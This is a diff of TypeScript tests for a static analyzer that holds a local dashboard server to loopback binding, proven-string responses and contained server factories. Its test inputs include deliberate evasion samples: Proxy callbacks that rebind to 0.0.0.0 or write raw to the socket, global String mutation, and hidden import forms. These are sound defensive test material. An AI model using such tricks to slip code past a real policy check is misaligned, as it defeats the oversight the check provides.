`Object.keys({});`, + `globalThis.console.log('x');`, + `globalThis.console;`, + `typeof globalThis.String;`, + `globalThis.String.length;`, + `const { console: c } = globalThis;\nc.log('x');`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, "deny(ctx, 'GLOBAL_RECEIVER_CALL'")).toBe(1); + for (const forbidden of ['__defineGetter__', '__defineSetter__', 'defineProperty', 'eval']) { + expect(occurrences(detector, `'${forbidden}'`), forbidden).toBe(0); + } + }); + + it('P1 family: an ambient String(...) call proves nothing, so the String mutation routes no longer matter to response.end', () => { + const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`; + // response.end(String(...)) is no longer trusted, whatever the argument and however it is reached. + for (const source of [ + inListener(`response.end(String(1));`), + inListener(`response.end(String('x'));`), + inListener(`response.end(String(request.url));`), + inListener(`const body = String('x');\nresponse.end(body);`), + inListener(`function page() { return String('x'); }\nresponse.end(page());`), + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['RESPONSE_END_ARGUMENT']); + expect(result.findings, source).toHaveLength(1); + } + // Each String mutation route only adds its own finding on top of the same end denial: none of them is load-bearing. + for (const [mutation, reason] of [ + [`(globalThis.String as any) = () => 1;`, 'GLOBAL_RECEIVER_WRITE'], + [`(globalThis as any).__defineGetter__('String', () => () => 1);`, 'GLOBAL_RECEIVER_CALL'], + [`Object.defineProperty(globalThis, 'String', { value: () => 1 });`, 'GLOBAL_RECEIVER_ESCAPE'], + ] as const) { + const result = analyzeNetworkPolicy(`${NS}\n${mutation}\nhttp.createServer((request, response) => { response.end(String(1)); });`); + expect(result.reasons, `${mutation}\n${describeFindings(result)}`).toEqual([reason, 'RESPONSE_END_ARGUMENT']); + } + // Every already-proven string path is untouched: literal, template, concat, const, local function. + for (const source of [ + inListener(`response.end('ok');`), + inListener('response.end(`

${request.url ?? \'\'}

`);'), + inListener(`response.end('

' + request.url + '

');`), + inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`), + inListener(`function page(title: string) { return \`\${title}\`; }\nresponse.end(page('x'));`), + inListener(`const page = () => 'x' + request.url;\nresponse.end(page());`), + REAL_HOST_REPLICA, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + // Sibling-export string paths through the host module graph. + const siblings = analyzeNetworkPolicyTree([ + { file: 'styles.ts', text: 'export const STYLES = `body {}`;' }, + { file: 'render.ts', text: 'export function render(title: string): string {\n return `

${title}

`;\n}' }, + { + file: 'server.ts', + text: `${NS}\nimport { render } from './render.js';\nimport { STYLES } from './styles.js';\nhttp.createServer((request, response) => {\n if (request.url === '/styles.css') { response.end(STYLES); return; }\n response.end(render('x'));\n}).listen(4317, '127.0.0.1');`, + }, + ]); + for (const [file, result] of siblings) expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]); + // The real host tree stays ALLOW: its bodies are literals, a sibling string constant and a sibling template function. + for (const [file, result] of analyzeNetworkPolicyTree(readHostClosure())) { + expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]); + expect(result.verdict, file).toBe('ALLOW'); + } + // Structural: the proof names no global identifier. + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, "'String'")).toBe(0); + expect(occurrences(detector, 'function isProvenString(')).toBe(1); + }); + + it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1); + expect(occurrences(detector, 'isRuntimeShadowed(ctx.checker, ')).toBe(1); + expect(occurrences(detector, 'function isRuntimeImportEquals(')).toBe(1); + expect(occurrences(detector, 'ts.isFunctionExpression(declaration)')).toBe(1); + expect(occurrences(detector, 'isValueAliasDeclaration')).toBe(0); + }); +}); + +// --------------------------------------------------------------------------- +// Codex review closure: implicit-receiver callbacks and the host module graph (PR #67) +// --------------------------------------------------------------------------- + +describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`; + const serverProxy = `const proxy = new Proxy(() => {}, { apply(_target: unknown, receiver: http.Server) { receiver.listen(4318, '0.0.0.0'); } });`; + const responseProxy = `const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });`; + + it('denies every close call whose callback is not a local function literal, with one finding', () => { + for (const source of [ + withServer(`${serverProxy}\nserver.close(proxy);`), + withServer(`declare const onClosed: () => void;\nserver.close(onClosed);`), + withServer(`server.close(1);`), + withServer(`server.close(() => {}, 1);`), + withServer(`declare const args: [() => void];\nserver.close(...args);`), + withServer(`server.listen(4317, '127.0.0.1').close(new Proxy(() => {}, {}));`), + withServer(`function setup(s: http.Server) { s.close(new Proxy(() => {}, {})); }\nsetup(server);`), + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['SERVER_CLOSE_CALLBACK']); + expect(result.findings, source).toHaveLength(1); + } + for (const source of [ + withServer(`server.close();`), + withServer(`server.close(() => { console.log('closed'); });`), + withServer(`server.close(function () { console.log('closed'); });`), + withServer(`function onClosed() { console.log('closed'); }\nserver.close(onClosed);`), + withServer(`const onClosed = () => {};\nserver.close(onClosed);`), + ]) { + expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]); + } + }); + + it('denies every end call whose chunk is not a proven string, with one finding', () => { + for (const source of [ + inListener(`${responseProxy}\nresponse.end('ok', proxy);`), + inListener(`${responseProxy}\nresponse.end(proxy);`), + inListener(`declare const body: string;\nresponse.end(body);`), + inListener(`response.end('x', 'utf8');`), + inListener(`response.end(() => {});`), + inListener(`response.end(request.url ?? '');`), + inListener(`let body = 'x';\nresponse.end(body);`), + inListener(`const String = (v: unknown) => v;\nresponse.end(String('x'));`), + inListener(`response.end(String(request.url));`), + inListener(`response.end(String(1));`), + inListener(`function echo(v: string) { return v; }\nresponse.end(echo('x'));`), + inListener(`async function page() { return 'x'; }\nresponse.end(page());`), + inListener(`function* page() { yield 'x'; }\nresponse.end(page());`), + inListener(`declare const parts: string[];\nresponse.end(parts.join(''));`), + inListener(`response.setHeader('a', 'b').end(1);`), + `${NS}\nfunction send(r: http.ServerResponse, body: string) { r.end(body); }\nhttp.createServer((request, response) => { send(response, 'x'); });`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['RESPONSE_END_ARGUMENT']); + expect(result.findings, source).toHaveLength(1); + } + for (const source of [ + inListener(`response.end();`), + inListener(`response.end('ok');`), + inListener('response.end(`

${request.url ?? \'\'}

`);'), + inListener(`response.end('

' + request.url + '

');`), + inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`), + inListener(`response.end(request.url === '/' ? 'root' : 'other');`), + inListener(`function page(title: string) { return \`

\${title}

\`; }\nresponse.end(page('x'));`), + inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`), + inListener(`const page = () => 'x';\nresponse.end(page());`), + inListener(`response.setHeader('a', 'b').end('x');`), + REAL_HOST_REPLICA, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + }); + + it('is structural: one call-shape check after the member policy, three positive predicates', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function checkAllowedCallShape(')).toBe(1); + expect(occurrences(detector, 'checkAllowedCallShape(ctx, parent, classes)')).toBe(1); + expect(occurrences(detector, 'function isProvenString(')).toBe(1); + expect(occurrences(detector, "'String'")).toBe(0); + expect(occurrences(detector, 'function hasOnlyLocalCallback(')).toBe(1); + expect(occurrences(detector, 'function hasOnlyProvenStringChunk(')).toBe(1); + expect(occurrences(detector, "deny(ctx, 'SERVER_CLOSE_CALLBACK'")).toBe(1); + expect(occurrences(detector, "deny(ctx, 'RESPONSE_END_ARGUMENT'")).toBe(1); + expect(occurrences(detector, 'Proxy')).toBe(1); + }); +}); + +describe('D3 network policy host module graph (PR #67 Codex P1: exported factories across files)', () => { + const tree = (files: Record, options: NetworkPolicyOptions = {}): ReadonlyMap => + analyzeNetworkPolicyTree( + Object.entries(files).map(([file, text]) => ({ file, text })), + options, + ); + const reasonsOf = (results: ReadonlyMap, file: string): readonly string[] => { + const result = results.get(file); + if (result === undefined) throw new Error(`no result for ${file}`); + return result.reasons; + }; + const REVIEW = `${NS}\nexport function makeReviewServer(): http.Server {\n return http.createServer(${L});\n}`; + + it('Codex witness: a consumer of an exported factory is held to the loopback binding', () => { + const wildcard = tree({ + 'review.ts': REVIEW, + 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '0.0.0.0');`, + }); + expect(reasonsOf(wildcard, 'review.ts')).toEqual([]); + expect(reasonsOf(wildcard, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const loopback = tree({ + 'review.ts': REVIEW, + 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '127.0.0.1');`, + }); + expect(reasonsOf(loopback, 'review.ts')).toEqual([]); + expect(reasonsOf(loopback, 'main.ts')).toEqual([]); + const standalone = analyzeNetworkPolicy(`import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '0.0.0.0');`); + expect(standalone.reasons, 'a lone file cannot know the import is a factory').toEqual([]); + }); + + it('propagates factories through default exports, aliases, re-export chains and the consumer\'s own factories', () => { + const viaDefault = tree({ + 'x.ts': `${NS}\nexport default function make() { return http.createServer(${L}); }`, + 'main.ts': `import make from './x.js';\nmake().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(viaDefault, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const viaAlias = tree({ + 'x.ts': `${NS}\nfunction make() { return http.createServer(${L}); }\nexport { make as build };`, + 'main.ts': `import { build as b } from './x.js';\nb().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(viaAlias, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const viaChain = tree({ + 'review.ts': REVIEW, + 'mid.ts': `export { makeReviewServer } from './review.js';`, + 'star.ts': `export * from './mid.js';`, + 'main.ts': `import { makeReviewServer } from './star.js';\nmakeReviewServer().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(viaChain, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const viaWrapper = tree({ + 'review.ts': REVIEW, + 'wrap.ts': `import { makeReviewServer } from './review.js';\nexport function boot() { return makeReviewServer(); }`, + 'main.ts': `import { boot } from './wrap.js';\nboot().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(viaWrapper, 'wrap.ts')).toEqual([]); + expect(reasonsOf(viaWrapper, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const nested = tree( + { + 'lib/review.ts': REVIEW, + 'main.ts': `import { makeReviewServer } from './lib/review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`, + 'lib\\deep\\entry.ts': `import { makeReviewServer } from '../review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`, + }, + { separator: '\\' }, + ); + expect(reasonsOf(nested, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + expect(reasonsOf(nested, 'lib/deep/entry.ts')).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']); + }); + + it('resolves HostSource names by the platform separator: a POSIX filename keeps its literal backslashes (Codex P1)', () => { + const FACTORY = `${NS}\nexport function make(): http.Server {\n return http.createServer(${L});\n}`; + const consumer = `import { make } from './factory.js';\nmake().listen(4567, '0.0.0.0');`; + const files = { 'factory.ts': FACTORY, 'nested\\consumer.ts': consumer }; + // POSIX: `nested\\consumer.ts` is a root-level file, so `./factory.js` is the root factory and the wildcard bind is seen. + const posix = tree(files, { separator: '/' }); + expect([...posix.keys()]).toEqual(['factory.ts', 'nested\\consumer.ts']); + expect(reasonsOf(posix, 'nested\\consumer.ts')).toEqual(['SERVER_LISTEN_BINDING']); + // win32: the same name is `nested/consumer.ts`, whose `./factory.js` is a missing `nested/factory.ts` (outside the boundary). + const windows = tree(files, { separator: '\\' }); + expect([...windows.keys()]).toEqual(['factory.ts', 'nested/consumer.ts']); + expect(reasonsOf(windows, 'nested/consumer.ts')).toEqual([]); + // A forward slash is a separator on both platforms. + for (const separator of ['/', '\\'] as const) { + const slashed = tree({ 'factory.ts': FACTORY, 'lib/consumer.ts': `import { make } from '../factory.js';\nmake().listen(4567, '0.0.0.0');` }, { separator }); + expect(reasonsOf(slashed, 'lib/consumer.ts'), separator).toEqual(['SERVER_LISTEN_BINDING']); + } + // The default is the running platform's separator: exactly what `readdirSync` hands the real-host readers. + const native = tree(files); + expect([...native.keys()]).toEqual([...(process.platform === 'win32' ? windows : posix).keys()]); + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'const nativeSeparator = ')).toBe(1); + expect(occurrences(detector, "process.platform === 'win32'")).toBe(1); + expect(occurrences(detector, "from 'node:path'")).toBe(0); + }); + + it('resolves specifiers with URL semantics: query, fragment, encoded and dot segments, plain relative paths (Codex P1)', () => { + const FACTORY = `${NS}\nexport function make(): http.Server {\n return http.createServer(${L});\n}`; + const consumer = (specifier: string): string => `import { make } from '${specifier}';\nmake().listen(4317, '0.0.0.0');`; + // Codex witness: a valid ESM suffix still resolves to the factory source, so the consumer is seeded and the wildcard bind is seen. + const witness = tree({ 'factory.ts': FACTORY, 'main.ts': consumer('./factory.js?instance') }); + expect(reasonsOf(witness, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + for (const [importer, specifier] of [ + ['main.ts', './factory.js?instance'], + ['main.ts', './factory.js#fragment'], + ['main.ts', './factory.js?a=1&b=2#c'], + ['main.ts', './factory.ts?x'], + ['main.ts', './factory?x'], + ['main.ts', './%66actory.js'], + ['main.ts', './sub/%2e%2e/factory.js'], + ['main.ts', './sub/%2E%2E/factory.js?x'], + ['main.ts', './sub/../factory.js'], + ['main.ts', '././factory.js'], + ['main.ts', './factory.js'], + ['lib/main.ts', '../factory.js?x'], + ['lib/deep/main.ts', '../../factory.js#x'], + ['lib/deep/main.ts', '.././../factory.js'], + ] as const) { + const results = tree({ 'factory.ts': FACTORY, [importer]: consumer(specifier) }); + expect(reasonsOf(results, importer), `${importer} <- ${specifier}`).toEqual(['SERVER_LISTEN_BINDING']); + } + // Encoded and literal characters inside a segment decode to the same tree name. + for (const specifier of ['./my%20dir/factory.js?x', './my dir/factory.js']) { + const spaced = tree({ 'my dir/factory.ts': FACTORY, 'main.ts': consumer(specifier) }); + expect(reasonsOf(spaced, 'main.ts'), specifier).toEqual(['SERVER_LISTEN_BINDING']); + } + // The POSIX literal-backslash importer stays one root-level segment under URL resolution too. + const posix = tree({ 'factory.ts': FACTORY, 'nested\\consumer.ts': consumer('./factory.js?instance') }, { separator: '/' }); + expect(reasonsOf(posix, 'nested\\consumer.ts')).toEqual(['SERVER_LISTEN_BINDING']); + // Outside the boundary: leaving the root, an encoded separator, a malformed escape, a missing file, a non-relative specifier. + for (const [importer, specifier] of [ + ['main.ts', '../factory.js'], + ['lib/main.ts', '../../factory.js'], + ['main.ts', './sub%2f../factory.js'], + ['main.ts', './sub%5C../factory.js'], + ['main.ts', './%zzfactory.js'], + ['main.ts', './factory.js%'], + ['main.ts', './missing.js?x'], + ['main.ts', '/abs/factory.js?x'], + ['main.ts', 'factory.js?x'], + ] as const) { + const results = tree({ 'factory.ts': FACTORY, [importer]: consumer(specifier) }); + expect(reasonsOf(results, importer), `${importer} <- ${specifier}`).toEqual([]); + } + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function resolveHostSpecifier(')).toBe(1); + expect(occurrences(detector, 'new URL(')).toBe(3); + expect(occurrences(detector, "from 'node:url'")).toBe(0); + expect(occurrences(detector, "from 'node:path'")).toBe(0); + }); + + it('applies the server-instantiation site bound across the tree', () => { + const twoFiles = tree({ + 'review.ts': `${REVIEW}\nmakeReviewServer().listen(4317, '127.0.0.1');`, + 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(4318, '127.0.0.1');`, + }); + expect(reasonsOf(twoFiles, 'review.ts')).toEqual([]); + expect(reasonsOf(twoFiles, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']); + const directPlusImported = tree({ + 'review.ts': REVIEW, + 'main.ts': `${NS}\nimport { makeReviewServer } from './review.js';\nhttp.createServer(${L}).listen(4317, '127.0.0.1');\nmakeReviewServer().close();`, + }); + expect(reasonsOf(directPlusImported, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']); + }); + + it('preserves whether an imported factory instantiates a server: alias-returning getters add no site (Codex P2)', () => { + const GETTER = `${NS} +const server = http.createServer(${L}); +export function get(): http.Server { + return server; +}`; + const getter = tree({ + 'x.ts': GETTER, + 'main.ts': `import { get } from './x.js'; +get().listen(4317, '127.0.0.1'); +get().close();`, + }); + expect(reasonsOf(getter, 'x.ts')).toEqual([]); + expect(reasonsOf(getter, 'main.ts')).toEqual([]); + const viaChain = tree({ + 'x.ts': GETTER, + 'mid.ts': `export { get } from './x.js';`, + 'star.ts': `export * from './mid.js';`, + 'wrap.ts': `import { get } from './star.js'; +export function boot() { return get(); }`, + 'main.ts': `import { boot } from './wrap.js'; +boot().listen(4317, '127.0.0.1');`, + }); + for (const file of ['x.ts', 'mid.ts', 'star.ts', 'wrap.ts', 'main.ts']) expect(reasonsOf(viaChain, file), file).toEqual([]); + // The getter is still a confined factory: its result carries SERVER authority, and the exporter's own site still counts. + const wildcard = tree({ 'x.ts': GETTER, 'main.ts': `import { get } from './x.js'; +get().listen(4317, '0.0.0.0');` }); + expect(reasonsOf(wildcard, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + const extraSite = tree({ + 'x.ts': GETTER, + 'main.ts': `${NS} +import { get } from './x.js'; +http.createServer(${L}).close(); +get().close();`, + }); + expect(reasonsOf(extraSite, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']); + const exported = inspectNetworkPolicy(GETTER); + expect([...exported.hostExports.factories]).toEqual(['get']); + expect([...exported.hostExports.instantiatingFactories]).toEqual([]); + const instantiating = inspectNetworkPolicy(REVIEW); + expect([...instantiating.hostExports.instantiatingFactories]).toEqual(['makeReviewServer']); + }); + + it('denies every import form through which a factory could leave the graph unseen', () => { + for (const [consumer, reason] of [ + [`import * as review from './review.js';\nreview.makeReviewServer().listen(1, '0.0.0.0');`, 'SERVER_FACTORY_ESCAPE'], + [`export * as review from './review.js';`, 'SERVER_FACTORY_ESCAPE'], + [`import review = require('./review.js');\nreview.makeReviewServer();`, 'SERVER_FACTORY_ESCAPE'], + [`void import('./review.js');`, 'SERVER_FACTORY_ESCAPE'], + [`import { makeReviewServer } from './review.js';\nuse(makeReviewServer);`, 'SERVER_FACTORY_ESCAPE'], + [`import { makeReviewServer } from './review.js';\nconst fns = [makeReviewServer];`, 'SERVER_FACTORY_ESCAPE'], + [`import { makeReviewServer } from './review.js';\nmakeReviewServer.call(null);`, 'SERVER_FACTORY_ESCAPE'], + [`import { makeReviewServer } from './review.js';\nmakeReviewServer?.();`, 'SERVER_FACTORY_ESCAPE'], + ] as const) { + const results = tree({ 'review.ts': REVIEW, 'main.ts': consumer }); + expect(reasonsOf(results, 'main.ts'), consumer).toContain(reason); + } + for (const consumer of [ + `import { makeReviewServer } from './review.js';\nmakeReviewServer().close();`, + `import { makeReviewServer } from './review.js';\nconst t = typeof makeReviewServer;\nt;`, + `import { makeReviewServer } from './review.js';\nexport { makeReviewServer };`, + `import type { makeReviewServer } from './review.js';\nlet x: typeof makeReviewServer | null = null;\nx;`, + `import * as other from './other.js';\nother.x;`, + ]) { + const results = tree({ 'review.ts': REVIEW, 'other.ts': `export const x = 1;`, 'main.ts': consumer }); + expect(reasonsOf(results, 'main.ts'), consumer).toEqual([]); + } + }); + + it('carries proven strings and string functions across files for response.end', () => { + const files = { + 'styles.ts': 'export const STYLES = `body {}`;', + 'render.ts': 'export function renderDashboard(title: string): string {\n return `

${title}

`;\n}', + 'server.ts': `${NS}\nimport { renderDashboard } from './render.js';\nimport { STYLES } from './styles.js';\nexport function buildDashboardHtml(): string { return renderDashboard('x'); }\nexport function createCockpitServer(): http.Server {\n const page = buildDashboardHtml();\n return http.createServer((request, response) => {\n if (request.url === '/styles.css') { response.end(STYLES); return; }\n response.end(page);\n });\n}\ncreateCockpitServer().listen(4317, '127.0.0.1');`, + }; + const results = tree(files); + for (const file of Object.keys(files)) expect(reasonsOf(results, file), file).toEqual([]); + const standalone = analyzeNetworkPolicy(files['server.ts']); + expect(standalone.reasons).toEqual(['RESPONSE_END_ARGUMENT']); + expect(standalone.findings).toHaveLength(2); + const unproven = tree({ + ...files, + 'render.ts': `export function renderDashboard(parts: string[]): string {\n return parts.join('');\n}`, + }); + expect(reasonsOf(unproven, 'server.ts')).toEqual(['RESPONSE_END_ARGUMENT']); + const exported = inspectNetworkPolicy(files['server.ts']); + expect([...exported.hostExports.factories]).toEqual(['createCockpitServer']); + expect([...exported.hostExports.stringFunctions]).toEqual([]); + }); + + it('is bounded: exports converge within one round per file, and an unresolvable specifier stays outside the boundary', () => { + const cycle = tree({ + 'a.ts': `export { make } from './b.js';`, + 'b.ts': `export { make } from './a.js';`, + 'main.ts': `import { make } from './a.js';\nmake();`, + }); + expect(reasonsOf(cycle, 'main.ts')).toEqual([]); + const outside = tree({ + 'review.ts': REVIEW, + 'main.ts': `import { makeReviewServer } from '/abs/review.js';\nimport { other } from './missing.js';\nmakeReviewServer().listen(1, '0.0.0.0');\nother();`, + }); + expect(reasonsOf(outside, 'main.ts')).toEqual([]); + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function analyzeNetworkPolicyTree(')).toBe(1); + expect(occurrences(detector, 'function collectHostImports(')).toBe(1); + expect(occurrences(detector, 'function hostExportsOf(')).toBe(1); + expect(occurrences(detector, "from 'node:path'")).toBe(0); + }); + + it('respects ECMAScript effective-export semantics when propagating star-export facts (Codex P1)', () => { + // A legitimate, non-shadowed `export *` keeps carrying the proven-string fact: + // `response.end(chunk)` is accepted because `chunk` really is a proven string. + const nonShadowed = tree({ + 'safe.ts': `export const chunk = 'safe-body';`, + 'barrel.ts': `export * from './safe.js';`, + 'server.ts': `${NS}\nimport { chunk } from './barrel.js';\nhttp.createServer((request, response) => { response.end(chunk); });`, + }); + expect(reasonsOf(nonShadowed, 'server.ts')).toEqual([]); + + // The Codex witness: the barrel also explicitly exports `chunk`, which is not a + // proven string. ECMAScript gives that explicit export precedence, so the + // star's proven-string fact must not survive — `response.end(chunk)` is denied. + const shadowed = tree({ + 'safe.ts': `export const chunk = 'safe-body';`, + 'barrel.ts': `export * from './safe.js';\nexport function chunk(): void {}`, + 'server.ts': `${NS}\nimport { chunk } from './barrel.js';\nhttp.createServer((request, response) => { response.end(chunk); });`, + }); + expect(reasonsOf(shadowed, 'barrel.ts')).toEqual([]); + expect(reasonsOf(shadowed, 'server.ts')).toEqual(['RESPONSE_END_ARGUMENT']); + + // `export *` never re-exports `default`: the star does not carry the source's + // default factory, so the barrel's default import is unproven. + const noDefault = tree({ + 'src.ts': `${NS}\nexport default function make(): http.Server { return http.createServer(${L}); }`, + 'barrel.ts': `export * from './src.js';`, + 'main.ts': `import make from './barrel.js';\nmake().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(noDefault, 'main.ts')).toEqual([]); + // An explicit `export { default as make }` DOES re-export the default factory, + // so the same consumer is again held to the loopback binding. + const explicitDefault = tree({ + 'src.ts': `${NS}\nexport default function make(): http.Server { return http.createServer(${L}); }`, + 'barrel.ts': `export { default as make } from './src.js';`, + 'main.ts': `import { make } from './barrel.js';\nmake().listen(1, '0.0.0.0');`, + }); + expect(reasonsOf(explicitDefault, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']); + + // A name provided by two different stars is ambiguous under ECMAScript + // (absent from the namespace), so neither the factory nor the string fact + // propagates: the factory does not leak and the string is not proven. + const ambiguous = tree({ + 'a.ts': `${NS}\nexport function dup(): http.Server { return http.createServer(${L}); }`, + 'b.ts': `export const dup = 'body';`, + 'barrel.ts': `export * from './a.js';\nexport * from './b.js';`, + 'main.ts': `${NS}\nimport { dup } from './barrel.js';\nhttp.createServer((request, response) => { response.end(dup); });`, + }); + expect(reasonsOf(ambiguous, 'main.ts')).toEqual(['RESPONSE_END_ARGUMENT']); + }); +}); + +// --------------------------------------------------------------------------- +// Real host +// --------------------------------------------------------------------------- + +describe('D3 network policy accepts the real Stage-A host', () => { + it('allows the real executable closure — host, Cockpit boundary and domain kernel — through the host module graph', () => { + // The purity suite proves this pinned list is the host's real executable closure; here the detector accepts it as one tree. + const sources = readHostClosure(); + expect(sources.map((source) => source.file)).toEqual([...EXPECTED_HOST_CLOSURE]); + expect(sources).toHaveLength(12); + expect(sources.map((source) => source.file)).toContain('cockpit-host/server.ts'); + const results = analyzeNetworkPolicyTree(sources); + expect(results.size).toBe(sources.length); + for (const [file, result] of results) { + expect(result.fixpoint.state, file).toBe('CONVERGED'); + expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]); + expect(result.verdict, file).toBe('ALLOW'); + } + }); + + it('fails closed on the real server.ts alone: its response bodies are proven only through sibling exports', () => { + const standalone = analyzeNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8')); + expect(standalone.reasons, describeFindings(standalone)).toEqual(['RESPONSE_END_ARGUMENT']); + const inspection = inspectNetworkPolicy(readFileSync(join(hostDir, 'render.ts'), 'utf8')); + expect([...inspection.hostExports.stringFunctions]).toContain('renderDashboard'); + const styles = inspectNetworkPolicy(readFileSync(join(hostDir, 'styles.ts'), 'utf8')); + expect([...styles.hostExports.strings]).toEqual(['STYLES']); + const server = inspectNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8')); + expect([...server.hostExports.factories]).toEqual(['createCockpitServer']); + expect(server.instantiationSites).toBe(1); + }); + + it('proves the real server.ts through the intended mechanisms', () => { + const inspection = inspectNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8')); + const [factory] = identifiersNamed(inspection.sourceFile, 'createCockpitServer'); + const factorySymbol = factory === undefined ? undefined : inspection.valueSymbolOf(factory); + expect(factorySymbol && inspection.isConfinedFactory(factorySymbol)).toBe(true); + const parameters = collectNodes(inspection.sourceFile, ts.isParameter); + const factsByName = new Map(); + for (const parameter of parameters) { + if (!ts.isIdentifier(parameter.name)) continue; + const symbol = inspection.valueSymbolOf(parameter.name); + if (symbol !== undefined) factsByName.set(`${parameter.name.text}@${String(parameter.pos)}`, inspection.factsOf(symbol)); + } + const facts = [...factsByName.values()].filter((list) => list.length > 0).map((list) => list.join(',')); + expect(facts.sort()).toEqual(['REQUEST:ROOT', 'RESPONSE:PARAM', 'RESPONSE:ROOT']); + }); +}); + +// --------------------------------------------------------------------------- +// Regression matrix +// --------------------------------------------------------------------------- + +describe('D3 network policy semantic regression matrix', () => { + it('covers every frozen category with at least one MUST_DENY or MUST_ALLOW row', () => { + for (const category of REGRESSION_CATEGORIES) { + const rows = D3_REGRESSION_MATRIX.filter((row) => row.category === category && row.expectation !== 'OUTSIDE_DECLARED_BOUNDARY'); + expect(rows.length, category).toBeGreaterThan(0); + } + }); + + it('has unique row names within each category', () => { + const seen = new Set(); + for (const row of D3_REGRESSION_MATRIX) { + const key = `${row.category}::${row.name}`; + expect(seen.has(key), key).toBe(false); + seen.add(key); + } + }); + + it('closes every PR #64 finding F-1 through F-7 with at least one row', () => { + const closed = new Set(D3_REGRESSION_MATRIX.flatMap((row) => row.closes ?? [])); + expect([...closed].sort()).toEqual(['F-1', 'F-2', 'F-3', 'F-4', 'F-5', 'F-6', 'F-7']); + }); + + const byCategory = new Map(); + for (const row of D3_REGRESSION_MATRIX) { + const rows = byCategory.get(row.category) ?? []; + rows.push(row); + byCategory.set(row.category, rows); + } + + for (const [category, rows] of byCategory) { + describe(category, () => { + for (const row of rows) { + const label = `${row.expectation}: ${row.name}`; + it(label, () => { + const result = analyzeNetworkPolicy(row.source, row.options ?? {}); + const detail = `${row.source}\n--> ${describeFindings(result)} [${result.fixpoint.state}]`; + switch (row.expectation) { + case 'MUST_DENY': + expect(result.verdict, detail).toBe('DENY'); + for (const reason of row.reasons ?? []) expect(result.reasons, detail).toContain(reason); + break; + case 'MUST_ALLOW': + expect(result.reasons, detail).toEqual([]); + expect(result.verdict, detail).toBe('ALLOW'); + expect(result.fixpoint.state, detail).toBe('CONVERGED'); + break; + case 'OUTSIDE_DECLARED_BOUNDARY': + expect(['ALLOW', 'DENY']).toContain(result.verdict); + break; + } + }); + } + }); + } +}); diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts index cd5fbe9..148e83b 100644 --- a/tests/cockpit-host/purity.test.ts +++ b/tests/cockpit-host/purity.test.ts @@ -1,4 +1,5 @@ import { + existsSync, lstatSync, mkdirSync, mkdtempSync, @@ -15,6 +16,9 @@ import { fileURLToPath, pathToFileURL } from 'node:url'; import ts from 'typescript'; import { afterAll, describe, expect, it } from 'vitest'; +import { analyzeNetworkPolicy, analyzeNetworkPolicyTree } from './support/d3-network-policy.js'; +import { EXPECTED_HOST_CLOSURE } from './support/host-closure.js'; + /** * Cockpit D3 host purity, bounded to `src/cockpit-host/`. * @@ -154,22 +158,83 @@ const ENCODED_SEPARATOR = /%2f|%5c/i; * round-trip is performed for its throwing side effect, so a bad escape is * rejected exactly as before). 